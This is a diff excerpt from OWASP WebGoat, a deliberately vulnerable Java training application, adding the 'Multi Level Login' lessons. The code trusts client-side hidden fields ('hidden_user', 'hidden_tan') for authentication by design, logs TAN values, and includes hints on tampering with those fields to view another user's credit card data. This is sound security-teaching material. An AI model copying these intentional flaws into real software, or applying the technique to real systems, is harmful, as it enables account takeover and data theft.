|
||||
} catch (Exception e)
|
||||
{
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the count of the tan
|
||||
*
|
||||
* @param user
|
||||
* @param s
|
||||
* @return tanPosition
|
||||
*/
|
||||
private int getTanPosition(String user, WebSession s)
|
||||
{
|
||||
int tanNr = 0;
|
||||
try
|
||||
{
|
||||
Connection connection = DatabaseUtilities.getConnection(s);
|
||||
String query = "SELECT login_count FROM user_data_tan WHERE first_name = ?";
|
||||
PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
|
||||
ResultSet.CONCUR_READ_ONLY);
|
||||
prepStatement.setString(1, user);
|
||||
ResultSet results = prepStatement.executeQuery();
|
||||
|
||||
if ((results != null) && (results.first() == true))
|
||||
{
|
||||
|
||||
tanNr = results.getInt(results.getRow());
|
||||
tanNr = tanNr + 1;
|
||||
if (tanNr > 5)
|
||||
{
|
||||
tanNr = 0;
|
||||
}
|
||||
// make sure you don't get the first tan in stage 2
|
||||
if (getLessonTracker(s).getStage() == 2 && tanNr == 1)
|
||||
{
|
||||
++tanNr;
|
||||
}
|
||||
}
|
||||
} catch (Exception e)
|
||||
{
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
return tanNr;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get a user by its name
|
||||
*
|
||||
* @param user
|
||||
* @param s
|
||||
* @return ResultSet containing the user
|
||||
*/
|
||||
private ResultSet getUser(String user, WebSession s)
|
||||
{
|
||||
try
|
||||
{
|
||||
Connection connection = DatabaseUtilities.getConnection(s);
|
||||
String query = "SELECT * FROM user_data_tan WHERE first_name = ? ";
|
||||
PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
|
||||
ResultSet.CONCUR_READ_ONLY);
|
||||
prepStatement.setString(1, user);
|
||||
|
||||
ResultSet results = prepStatement.executeQuery();
|
||||
|
||||
return results;
|
||||
|
||||
} catch (Exception e)
|
||||
{
|
||||
e.printStackTrace();
|
||||
}
|
||||
return null;
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* See if the tan is correct
|
||||
*
|
||||
* @param user
|
||||
* @param tan
|
||||
* @param tanPosition
|
||||
* @param s
|
||||
* @return true if the tan is correct
|
||||
*/
|
||||
private boolean correctTan(String user, String tan, String tanPosition, WebSession s)
|
||||
{
|
||||
if (tan.equals("")) { return false; }
|
||||
try
|
||||
{
|
||||
Connection connection = DatabaseUtilities.getConnection(s);
|
||||
String query = "SELECT user_data_tan.userid FROM user_data_tan, tan WHERE user_data_tan.first_name = ? "
|
||||
+ "AND user_data_tan.userid = tan.userid AND tan.tanValue = ? AND tan.tanNr = ?";
|
||||
PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
|
||||
ResultSet.CONCUR_READ_ONLY);
|
||||
prepStatement.setString(1, user);
|
||||
prepStatement.setString(2, tan);
|
||||
prepStatement.setString(3, tanPosition);
|
||||
|
||||
ResultSet results = prepStatement.executeQuery();
|
||||
|
||||
if ((results != null) && (results.first() == true)) {
|
||||
|
||||
return true;
|
||||
|
||||
}
|
||||
|
||||
} catch (Exception e)
|
||||
{
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* See if the password and corresponding user is valid
|
||||
*
|
||||
* @param userName
|
||||
* @param password
|
||||
* @param s
|
||||
* @return true if the password was correct
|
||||
*/
|
||||
private boolean correctLogin(String userName, String password, WebSession s)
|
||||
{
|
||||
try
|
||||
{
|
||||
Connection connection = DatabaseUtilities.getConnection(s);
|
||||
String query = "SELECT * FROM user_data_tan WHERE first_name = ? AND password = ?";
|
||||
PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
|
||||
ResultSet.CONCUR_READ_ONLY);
|
||||
prepStatement.setString(1, userName);
|
||||
prepStatement.setString(2, password);
|
||||
|
||||
ResultSet results = prepStatement.executeQuery();
|
||||
|
||||
if ((results != null) && (results.first() == true)) {
|
||||
|
||||
return true;
|
||||
|
||||
}
|
||||
|
||||
} catch (Exception e)
|
||||
{
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
return false;
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the category attribute of the RoleBasedAccessControl object
|
||||
*
|
||||
* @return The category value
|
||||
*/
|
||||
protected ElementContainer doStage1(WebSession s)
|
||||
{
|
||||
ElementContainer ec = new ElementContainer();
|
||||
ec.addElement(createMainContent(s));
|
||||
return ec;
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* After finishing succesful stage1 this function is called
|
||||
*/
|
||||
protected Element doStage2(WebSession s)
|
||||
{
|
||||
ElementContainer ec = new ElementContainer();
|
||||
ec.addElement(createMainContent(s));
|
||||
return ec;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the category
|
||||
*
|
||||
* @return the category
|
||||
*/
|
||||
protected Category getDefaultCategory()
|
||||
{
|
||||
return Category.AUTHENTICATION;
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the hints attribute of the RoleBasedAccessControl object
|
||||
*
|
||||
* @return The hints value
|
||||
*/
|
||||
public List<String> getHints(WebSession s)
|
||||
{
|
||||
List<String> hints = new ArrayList<String>();
|
||||
|
||||
hints.add("Stage 1: Just do a regular login");
|
||||
hints.add("Stage 2: How does the server know which TAN has to be used");
|
||||
hints.add("Stage 2: Maybe taking a look at the source code helps");
|
||||
hints.add("Stage 2: Watch out for hidden fields");
|
||||
hints.add("Stage 2: Manipulate the hidden field 'hidden_tan'");
|
||||
|
||||
return hints;
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the instructions for the user
|
||||
*/
|
||||
public String getInstructions(WebSession s)
|
||||
{
|
||||
String instructions = "";
|
||||
if (getLessonTracker(s).getStage() == 1)
|
||||
{
|
||||
instructions = "STAGE 1:\t This stage is just to show how a classic multi login works. "
|
||||
+ "Your goal is to do a regular login as Jane with password tarzan. "
|
||||
+ "You have following TAN: <br>" + "Tan #1 = 15648<br>" + "Tan #2 = 92156<br>"
|
||||
+ "Tan #3 = 4879<br>" + "Tan #4 = 9458<br>" + "Tan #5 = 4879<br>";
|
||||
|
||||
}
|
||||
else if (getLessonTracker(s).getStage() == 2)
|
||||
{
|
||||
instructions = "STAGE 2:\tNow you are a hacker who " + "already has stolen some information from Jane by "
|
||||
+ "a phishing mail. " + "You have the password which is tarzan and "
|
||||
+ "the Tan #1 which is 15648 <br>" + "The problem is that the first tan is already "
|
||||
+ "used... try to break into the system anyway. ";
|
||||
}
|
||||
|
||||
return (instructions);
|
||||
}
|
||||
|
||||
private final static Integer DEFAULT_RANKING = new Integer(110);
|
||||
|
||||
/**
|
||||
* Get the ranking for the hirarchy of lessons
|
||||
*/
|
||||
protected Integer getDefaultRanking()
|
||||
{
|
||||
return DEFAULT_RANKING;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the title of the Lesson
|
||||
*/
|
||||
public String getTitle()
|
||||
{
|
||||
return ("Multi Level Login 1");
|
||||
}
|
||||
|
||||
public Element getCredits()
|
||||
{
|
||||
return super.getCustomCredits("Created by: Reto Lippuner, Marcel Wirth", new StringElement(""));
|
||||
}
|
||||
}
|
@ -0,0 +1,651 @@
|
||||
|
||||
package org.owasp.webgoat.lessons;
|
||||
|
||||
import java.sql.Connection;
|
||||
import java.sql.PreparedStatement;
|
||||
import java.sql.ResultSet;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import org.apache.ecs.Element;
|
||||
import org.apache.ecs.ElementContainer;
|
||||
import org.apache.ecs.StringElement;
|
||||
import org.apache.ecs.html.A;
|
||||
import org.apache.ecs.html.BR;
|
||||
import org.apache.ecs.html.Div;
|
||||
import org.apache.ecs.html.H1;
|
||||
import org.apache.ecs.html.H2;
|
||||
import org.apache.ecs.html.Input;
|
||||
import org.apache.ecs.html.TD;
|
||||
import org.apache.ecs.html.TR;
|
||||
import org.apache.ecs.html.Table;
|
||||
import org.apache.ecs.xhtml.style;
|
||||
import org.owasp.webgoat.session.DatabaseUtilities;
|
||||
import org.owasp.webgoat.session.WebSession;
|
||||
|
||||
|
||||
/***************************************************************************************************
|
||||
*
|
||||
*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
|
||||
* please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2007 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at code.google.com, a repository for free software
|
||||
* projects.
|
||||
*
|
||||
*
|
||||
* For details, please see http://code.google.com/p/webgoat/
|
||||
*
|
||||
* @author Reto Lippuner, Marcel Wirth
|
||||
* @created April 7, 2008
|
||||
*/
|
||||
|
||||
public class MultiLevelLogin2 extends LessonAdapter
|
||||
{
|
||||
private boolean loggedIn = false;
|
||||
private boolean correctTan = false;
|
||||
private String currentTan = "";
|
||||
private int currentTanNr = 0;
|
||||
|
||||
private final static String USER = "user";
|
||||
private final static String PASSWORD = "pass";
|
||||
private final static String TAN = "tan";
|
||||
private final static String HIDDEN_USER = "hidden_user";
|
||||
|
||||
// needed to see if lesson was successfull
|
||||
private String LoggedInUser = "";
|
||||
|
||||
/**
|
||||
* Creates WebContent
|
||||
*
|
||||
* @param s
|
||||
*/
|
||||
protected Element createContent(WebSession s)
|
||||
{
|
||||
ElementContainer ec = new ElementContainer();
|
||||
|
||||
try
|
||||
{
|
||||
style sty = new style();
|
||||
|
||||
sty
|
||||
.addElement("#lesson_wrapper {height: 435px;width: 500px;}#lesson_header {background-image: url(lessons/DBSQLInjection/images/lesson1_header.jpg);width: 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;}.lesson_workspace {background-image: url(lessons/DBSQLInjection/images/lesson1_workspace.jpg);width: 489px;height: 325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;} .lesson_text {height: 240px;width: 460px;padding-top: 5px;} #lesson_buttons_bottom {height: 20px;width: 460px;} #lesson_b_b_left {width: 300px;float: left;} #lesson_b_b_right input {width: 100px;float: right;} .lesson_title_box {height: 20px;width: 420px;padding-left: 30px;} .lesson_workspace { } .lesson_txt_10 {font-family: Arial, Helvetica, sans-serif;font-size: 10px;} .lesson_text_db {color: #0066FF} #lesson_login {background-image: url(lessons/DBSQLInjection/images/lesson1_loginWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;} #lesson_login_txt {font-family: Arial, Helvetica, sans-serif;font-size: 12px;text-align: center;} #lesson_search {background-image: url(lessons/DBSQLInjection/images/lesson1_SearchWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;}");
|
||||
ec.addElement(sty);
|
||||
|
||||
Div wrapperDiv = new Div();
|
||||
wrapperDiv.setID("lesson_wrapper");
|
||||
|
||||
Div headerDiv = new Div();
|
||||
headerDiv.setID("lesson_header");
|
||||
|
||||
Div workspaceDiv = new Div();
|
||||
workspaceDiv.setClass("lesson_workspace");
|
||||
|
||||
wrapperDiv.addElement(headerDiv);
|
||||
wrapperDiv.addElement(workspaceDiv);
|
||||
|
||||
ec.addElement(wrapperDiv);
|
||||
|
||||
workspaceDiv.addElement(createWorkspaceContent(s));
|
||||
|
||||
} catch (Exception e)
|
||||
{
|
||||
s.setMessage("Error generating " + this.getClass().getName());
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
return (ec);
|
||||
}
|
||||
|
||||
/**
|
||||
* Creation of the content of the workspace
|
||||
*
|
||||
* @param s
|
||||
* @return Element
|
||||
*/
|
||||
private Element createWorkspaceContent(WebSession s)
|
||||
{
|
||||
String user = "";
|
||||
user = s.getParser().getStringParameter(USER, "");
|
||||
String password = "";
|
||||
password = s.getParser().getStringParameter(PASSWORD, "");
|
||||
String tan = "";
|
||||
tan = s.getParser().getStringParameter(TAN, "");
|
||||
String hiddenUser = "";
|
||||
hiddenUser = s.getParser().getStringParameter(HIDDEN_USER, "");
|
||||
// String hiddenTan = s.getParser().getStringParameter(HIDDEN_TAN, "");
|
||||
|
||||
ElementContainer ec = new ElementContainer();
|
||||
|
||||
// verify that tan is correct and user is logged in
|
||||
if (loggedIn && correctTan(tan))
|
||||
{
|
||||
correctTan = true;
|
||||
}
|
||||
// user is loggedIn but enters wrong tan
|
||||
else if (loggedIn && !correctTan(tan))
|
||||
{
|
||||
loggedIn = false;
|
||||
}
|
||||
|
||||
if (correctLogin(user, password, s))
|
||||
{
|
||||
loggedIn = true;
|
||||
LoggedInUser = user;
|
||||
currentTanNr = getTanPosition(user, s);
|
||||
currentTan = getTan(user, currentTanNr, s);
|
||||
|
||||
}
|
||||
|
||||
// if restart button is clicked owe have to reset log in
|
||||
if (!s.getParser().getStringParameter("Restart", "").equals(""))
|
||||
{
|
||||
loggedIn = false;
|
||||
correctTan = false;
|
||||
currentTanNr = 0;
|
||||
resetTans(s);
|
||||
}
|
||||
// Logout Button is pressed
|
||||
if (s.getParser().getRawParameter("logout", "").equals("true"))
|
||||
{
|
||||
loggedIn = false;
|
||||
correctTan = false;
|
||||
|
||||
}
|
||||
if (loggedIn && correctTan)
|
||||
{
|
||||
loggedIn = false;
|
||||
correctTan = false;
|
||||
|
||||
createSuccessfulLoginContent(s, ec, hiddenUser);
|
||||
|
||||
}
|
||||
else if (loggedIn)
|
||||
{
|
||||
if (currentTanNr > 5)
|
||||
{
|
||||
createNoTanLeftContent(ec);
|
||||
}
|
||||
else
|
||||
{
|
||||
createAskForTanContent(s, ec, currentTanNr, user);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
String errorMessage = "";
|
||||
|
||||
if (!(user + password).equals(""))
|
||||
{
|
||||
errorMessage = "Login failed! Make sure " + "that user name and password is correct.";
|
||||
}
|
||||
else if (!tan.equals(""))
|
||||
{
|
||||
errorMessage = "Login failed. Tan is " + "incorrect.";
|
||||
}
|
||||
|
||||
createLogInContent(ec, errorMessage);
|
||||
}
|
||||
|
||||
System.out.println("Logged In: " + loggedIn);
|
||||
|
||||
return ec;
|
||||
}
|
||||
|
||||
/**
|
||||
* Create content for logging in
|
||||
*
|
||||
* @param ec
|
||||
*/
|
||||
private void createLogInContent(ElementContainer ec, String errorMessage)
|
||||
{
|
||||
Div loginDiv = new Div();
|
||||
loginDiv.setID("lesson_login");
|
||||
|
||||
Table table = new Table();
|
||||
// table.setStyle(tableStyle);
|
||||
table.addAttribute("align='center'", 0);
|
||||
TR tr1 = new TR();
|
||||
TD td1 = new TD();
|
||||
TD td2 = new TD();
|
||||
td1.addElement(new StringElement("Enter your name: "));
|
||||
td2.addElement(new Input(Input.TEXT, USER));
|
||||
tr1.addElement(td1);
|
||||
tr1.addElement(td2);
|
||||
|
||||
TR tr2 = new TR();
|
||||
TD td3 = new TD();
|
||||
TD td4 = new TD();
|
||||
td3.addElement(new StringElement("Enter your password: "));
|
||||
td4.addElement(new Input(Input.PASSWORD, PASSWORD));
|
||||
tr2.addElement(td3);
|
||||
tr2.addElement(td4);
|
||||
|
||||
TR tr3 = new TR();
|
||||
TD td5 = new TD();
|
||||
td5.setColSpan(2);
|
||||
td5.setAlign("center");
|
||||
|
||||
td5.addElement(new Input(Input.SUBMIT, "Submit", "Submit"));
|
||||
tr3.addElement(td5);
|
||||
|
||||
table.addElement(tr1);
|
||||
table.addElement(tr2);
|
||||
table.addElement(tr3);
|
||||
loginDiv.addElement(table);
|
||||
ec.addElement(loginDiv);
|
||||
|
||||
H2 errorTag = new H2(errorMessage);
|
||||
errorTag.addAttribute("align", "center");
|
||||
errorTag.addAttribute("class", "info");
|
||||
ec.addElement(errorTag);
|
||||
}
|
||||
|
||||
/**
|
||||
* Create content in which the tan is asked
|
||||
*
|
||||
* @param s
|
||||
* @param ec
|
||||
* @param tanNr
|
||||
*/
|
||||
private void createAskForTanContent(WebSession s, ElementContainer ec, int tanNr, String user)
|
||||
{
|
||||
|
||||
Div loginDiv = new Div();
|
||||
loginDiv.setID("lesson_login");
|
||||
|
||||
Table table = new Table();
|
||||
table.addAttribute("align='center'", 0);
|
||||
TR tr1 = new TR();
|
||||
TD td1 = new TD();
|
||||
TD td2 = new TD();
|
||||
td1.addElement(new StringElement("Enter TAN #" + tanNr + ": "));
|
||||
td2.addElement(new Input(Input.TEXT, TAN));
|
||||
tr1.addElement(td1);
|
||||
tr1.addElement(td2);
|
||||
|
||||
TR tr2 = new TR();
|
||||
TD td3 = new TD();
|
||||
td3.setColSpan(2);
|
||||
td3.setAlign("center");
|
||||
|
||||
td3.addElement(new Input(Input.SUBMIT, "Submit", "Submit"));
|
||||
tr2.addElement(td3);
|
||||
|
||||
table.addElement(tr1);
|
||||
table.addElement(tr2);
|
||||
|
||||
ec.addElement(new Input(Input.HIDDEN, HIDDEN_USER, user));
|
||||
loginDiv.addElement(table);
|
||||
ec.addElement(loginDiv);
|
||||
ec.addElement(createLogoutLink());
|
||||
|
||||
updateTan(user, s);
|
||||
}
|
||||
|
||||
/**
|
||||
* Create content if there is no tan left
|
||||
*
|
||||
* @param ec
|
||||
*/
|
||||
private void createNoTanLeftContent(ElementContainer ec)
|
||||
{
|
||||
ec.addElement(new BR());
|
||||
ec.addElement(new BR());
|
||||
ec.addElement(new BR());
|
||||
ec.addElement(new BR());
|
||||
H1 h = new H1("<center>No tan is left! Please contact the admin. </center>");
|
||||
ec.addElement(h);
|
||||
ec.addElement(createLogoutLink());
|
||||
}
|
||||
|
||||
private void createSuccessfulLoginContent(WebSession s, ElementContainer ec, String user)
|
||||
{
|
||||
|
||||
String userDataStyle = "margin-top:50px;";
|
||||
|
||||
Div userDataDiv = new Div();
|
||||
userDataDiv.setStyle(userDataStyle);
|
||||
userDataDiv.addAttribute("align", "center");
|
||||
Table table = new Table();
|
||||
table.addAttribute("cellspacing", 10);
|
||||
table.addAttribute("cellpadding", 5);
|
||||
|
||||
table.addAttribute("align", "center");
|
||||
TR tr1 = new TR();
|
||||
TR tr2 = new TR();
|
||||
TR tr3 = new TR();
|
||||
TR tr4 = new TR();
|
||||
tr1.addElement(new TD("<b>Firstname:</b>"));
|
||||
tr1.addElement(new TD(user));
|
||||
|
||||
try
|
||||
{
|
||||
ResultSet results = getUser(user, s);
|
||||
if (results != null)
|
||||
{
|
||||
results.first();
|
||||
|
||||
tr2.addElement(new TD("<b>Lastname:</b>"));
|
||||
tr2.addElement(new TD(results.getString("last_name")));
|
||||
|
||||
tr3.addElement(new TD("<b>Credit Card Type:</b>"));
|
||||
tr3.addElement(new TD(results.getString("cc_type")));
|
||||
|
||||
tr4.addElement(new TD("<b>Credit Card Number:</b>"));
|
||||
tr4.addElement(new TD(results.getString("cc_number")));
|
||||
|
||||
if (!user.equals(LoggedInUser))
|
||||
{
|
||||
makeSuccess(s);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
catch (Exception e)
|
||||
{
|
||||
e.printStackTrace();
|
||||
}
|
||||
table.addElement(tr1);
|
||||
table.addElement(tr2);
|
||||
table.addElement(tr3);
|
||||
table.addElement(tr4);
|
||||
|
||||
userDataDiv.addElement(table);
|
||||
ec.addElement(userDataDiv);
|
||||
ec.addElement(createLogoutLink());
|
||||
}
|
||||
|
||||
/**
|
||||
* Create a link for logging out
|
||||
*
|
||||
* @return Element
|
||||
*/
|
||||
private Element createLogoutLink()
|
||||
{
|
||||
A logoutLink = new A();
|
||||
logoutLink.addAttribute("href", getLink() + "&logout=true");
|
||||
logoutLink.addElement("Logout");
|
||||
|
||||
String logoutStyle = "margin-right:50px; mrgin-top:30px";
|
||||
Div logoutDiv = new Div();
|
||||
logoutDiv.addAttribute("align", "right");
|
||||
logoutDiv.addElement(logoutLink);
|
||||
logoutDiv.setStyle(logoutStyle);
|
||||
|
||||
return logoutDiv;
|
||||
}
|
||||
|
||||
/**
|
||||
* Update the tan. Every tan should be used only once.
|
||||
*
|
||||
* @param user
|
||||
* @param s
|
||||
*/
|
||||
private void updateTan(String user, WebSession s)
|
||||
{
|
||||
int tanNr = getTanPosition(user, s);
|
||||
|
||||
try
|
||||
{
|
||||
Connection connection = DatabaseUtilities.getConnection(s);
|
||||
String query = "UPDATE user_data_tan SET login_count = ? WHERE first_name = ?";
|
||||
PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
|
||||
ResultSet.CONCUR_READ_ONLY);
|
||||
prepStatement.setInt(1, tanNr);
|
||||
prepStatement.setString(2, user);
|
||||
prepStatement.execute();
|
||||
|
||||
} catch (Exception e)
|
||||
{
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Get a user by its name
|
||||
*
|
||||
* @param user
|
||||
* @param s
|
||||
* @return ResultSet containing the user
|
||||
*/
|
||||
private ResultSet getUser(String user, WebSession s)
|
||||
{
|
||||
try
|
||||
{
|
||||
Connection connection = DatabaseUtilities.getConnection(s);
|
||||
String query = "SELECT * FROM user_data_tan WHERE first_name = ? ";
|
||||
PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
|
||||
ResultSet.CONCUR_READ_ONLY);
|
||||
prepStatement.setString(1, user);
|
||||
|
||||
ResultSet results = prepStatement.executeQuery();
|
||||
|
||||
return results;
|
||||
|
||||
} catch (Exception e)
|
||||
{
|
||||
e.printStackTrace();
|
||||
}
|
||||
return null;
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* If lesson is reseted the tans should be resetted too
|
||||
*
|
||||
* @param s
|
||||
*/
|
||||
private void resetTans(WebSession s)
|
||||
{
|
||||
|
||||
try
|
||||
{
|
||||
Connection connection = DatabaseUtilities.getConnection(s);
|
||||
String query = "UPDATE user_data_tan SET login_count = 0 WHERE login_count > 0";
|
||||
PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
|
||||
ResultSet.CONCUR_READ_ONLY);
|
||||
prepStatement.execute();
|
||||
|
||||
} catch (Exception e)
|
||||
{
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the count of the tan
|
||||
*
|
||||
* @param user
|
||||
* @param s
|
||||
* @return tanPosition
|
||||
*/
|
||||
private int getTanPosition(String user, WebSession s)
|
||||
{
|
||||
int tanNr = 0;
|
||||
try
|
||||
{
|
||||
Connection connection = DatabaseUtilities.getConnection(s);
|
||||
String query = "SELECT login_count FROM user_data_tan WHERE first_name = ?";
|
||||
PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
|
||||
ResultSet.CONCUR_READ_ONLY);
|
||||
prepStatement.setString(1, user);
|
||||
ResultSet results = prepStatement.executeQuery();
|
||||
|
||||
if ((results != null) && (results.first() == true))
|
||||
{
|
||||
|
||||
tanNr = results.getInt(results.getRow());
|
||||
tanNr = tanNr + 1;
|
||||
if (tanNr > 5)
|
||||
{
|
||||
tanNr = 0;
|
||||
}
|
||||
}
|
||||
} catch (Exception e)
|
||||
{
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
return tanNr;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the tan for a user with specific position
|
||||
*
|
||||
* @param user
|
||||
* @param tanPosition
|
||||
* @param s
|
||||
* @return tan
|
||||
*/
|
||||
private String getTan(String user, int tanPosition, WebSession s)
|
||||
{
|
||||
try
|
||||
{
|
||||
Connection connection = DatabaseUtilities.getConnection(s);
|
||||
String query = "SELECT tan.tanValue FROM user_data_tan, tan WHERE user_data_tan.first_name = ? "
|
||||
+ "AND user_data_tan.userid = tan.userid AND tan.tanNr = ?";
|
||||
PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
|
||||
ResultSet.CONCUR_READ_ONLY);
|
||||
prepStatement.setString(1, user);
|
||||
prepStatement.setInt(2, tanPosition);
|
||||
|
||||
ResultSet results = prepStatement.executeQuery();
|
||||
|
||||
if ((results != null) && (results.first() == true))
|
||||
{
|
||||
System.out.println(results.getString("tanValue"));
|
||||
return results.getString("tanValue");
|
||||
|
||||
}
|
||||
|
||||
} catch (Exception e)
|
||||
{
|
||||
e.printStackTrace();
|
||||
}
|
||||
return "";
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* See if the tan is correct
|
||||
*
|
||||
* @param tan
|
||||
* @return true if the tan is correct
|
||||
*/
|
||||
private boolean correctTan(String tan)
|
||||
{
|
||||
if (!currentTan.equals("")) { return tan.equals(String.valueOf(currentTan)); }
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* See if the password and corresponding user is valid
|
||||
*
|
||||
* @param userName
|
||||
* @param password
|
||||
* @param s
|
||||
* @return true if the password was correct
|
||||
*/
|
||||
private boolean correctLogin(String userName, String password, WebSession s)
|
||||
{
|
||||
try
|
||||
{
|
||||
Connection connection = DatabaseUtilities.getConnection(s);
|
||||
String query = "SELECT * FROM user_data_tan WHERE first_name = ? AND password = ?";
|
||||
PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
|
||||
ResultSet.CONCUR_READ_ONLY);
|
||||
prepStatement.setString(1, userName);
|
||||
prepStatement.setString(2, password);
|
||||
|
||||
ResultSet results = prepStatement.executeQuery();
|
||||
|
||||
if ((results != null) && (results.first() == true)) {
|
||||
|
||||
return true;
|
||||
|
||||
}
|
||||
|
||||
} catch (Exception e)
|
||||
{
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
return false;
|
||||
|
||||
}
|
||||
|
||||
protected Category getDefaultCategory()
|
||||
{
|
||||
return Category.AUTHENTICATION;
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the hints attribute of the RoleBasedAccessControl object
|
||||
*
|
||||
* @return The hints value
|
||||
*/
|
||||
public List<String> getHints(WebSession s)
|
||||
{
|
||||
List<String> hints = new ArrayList<String>();
|
||||
|
||||
hints.add("How does the server know which User has to be logged in");
|
||||
hints.add("Maybe taking a look at the source code helps");
|
||||
hints.add("Watch out for hidden fields");
|
||||
hints.add("Manipulate the hidden field 'hidden_user'");
|
||||
|
||||
return hints;
|
||||
|
||||
}
|
||||
|
||||
public String getInstructions(WebSession s)
|
||||
{
|
||||
String instructions = "";
|
||||
|
||||
instructions = "You are an attacker called Joe. You have a valid account by webgoat financial. Your goal is to log in as "
|
||||
+ "Jane. Your username is Joe and your password is banana. This are your TANS: <br>"
|
||||
+ "Tan #1 = 15161<br>"
|
||||
+ "Tan #2 = 4894<br>"
|
||||
+ "Tan #3 = 18794<br>"
|
||||
+ "Tan #4 = 1564<br>"
|
||||
+ "Tan #5 = 45751<br>";
|
||||
|
||||
return (instructions);
|
||||
}
|
||||
|
||||
private final static Integer DEFAULT_RANKING = new Integer(110);
|
||||
|
||||
protected Integer getDefaultRanking()
|
||||
{
|
||||
return DEFAULT_RANKING;
|
||||
}
|
||||
|
||||
public String getTitle()
|
||||
{
|
||||
return ("Multi Level Login 2");
|
||||
}
|
||||
|
||||
public Element getCredits()
|
||||
{
|
||||
return super.getCustomCredits("Created by: Reto Lippuner, Marcel Wirth", new StringElement(""));
|
||||
}
|
||||
|
||||
}
|
@ -60,7 +60,7 @@ public class NewLesson extends LessonAdapter
|
||||
*/
|
||||
protected Category getDefaultCategory()
|
||||
{
|
||||
return Category.GENERAL;
|
||||
return Category.INTRODUCTION;
|
||||
}
|
||||
|
||||
private final static Integer DEFAULT_RANKING = new Integer(85);
|
||||
|
@ -0,0 +1,204 @@
|
||||
|
||||
package org.owasp.webgoat.lessons;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import org.apache.ecs.Element;
|
||||
import org.apache.ecs.ElementContainer;
|
||||
import org.apache.ecs.StringElement;
|
||||
import org.apache.ecs.html.BR;
|
||||
import org.apache.ecs.html.Input;
|
||||
import org.apache.ecs.html.TD;
|
||||
import org.apache.ecs.html.TR;
|
||||
import org.apache.ecs.html.Table;
|
||||
import org.owasp.webgoat.session.ECSFactory;
|
||||
import org.owasp.webgoat.session.WebSession;
|
||||
|
||||
|
||||
/***************************************************************************************************
|
||||
*
|
||||
*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
|
||||
* please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2007 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
